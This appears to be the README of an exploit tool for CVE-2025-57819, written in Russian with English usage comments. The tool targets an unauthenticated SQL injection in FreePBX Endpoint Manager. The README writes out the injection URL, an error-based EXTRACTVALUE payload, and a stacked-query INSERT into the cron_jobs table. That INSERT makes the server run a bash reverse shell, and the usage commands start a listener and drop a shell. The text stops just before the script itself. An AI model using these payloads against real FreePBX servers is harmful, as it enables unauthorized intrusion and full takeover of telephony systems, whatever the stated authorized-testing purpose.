
CVE-2025-57819 -> rce
Одношаговый эксплойт для неаутентифицированной SQL-инъекции в Endpoint Manager FreePBX (CVE-2025-57819), объединённой в удалённое выполнение кода через таблицу cron_jobs FreePBX.
Только для авторизованного тестирования безопасности / использования в CTF.
Ajax-обработчик модуля endpoint конкатенирует параметр brand напрямую в SQL-запрос, а путь модуля FreePBX\modules\endpoint\ajax обходит проверку Referrer/аутентификации ajax. Это даёт неаутентифицированную error-based SQL-инъекцию (через EXTRACTVALUE) с включёнными записями через стековые запросы.
Точка инъекции:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model&brand=<INJECTION>
Доказательство (чтение на основе ошибок):
brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -
→ {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}}
Затронутые версии: FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3.
Сама по себе инъекция только для чтения, но стековые запросы позволяют выполнять записи. FreePBX запускает задания из таблицы cron_jobs через свой cron-менеджер, поэтому вставка строки даёт произвольное выполнение команд (в течение ~60 секунд, расписание * * * * *):
INSERT INTO cron_jobs
(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','<job>','<os-command>',NULL,'* * * * *',30,1,1);
Внедрённая команда — это bash-реверс-шелл. Строка cron удаляется автоматически после первого обратного вызова, чтобы избежать повторных подключений.
pip install requests urllib3
Python 3. Встроенное определение IP (-i/--interface) работает только в Linux; на других платформах используйте --ip.
# Defaults: interface tun0, port 4444 — starts listener, exploits, drops a shell
python3 exploit.py http://{target}
# Pick a different interface / port
python3 exploit.py http://{target} -i eth0 -p 9001
# Set the listener IP explicitly
python3 exploit.py http://{target} --ip 10.10.15.52
python3 exploit.py --help
Скрипт: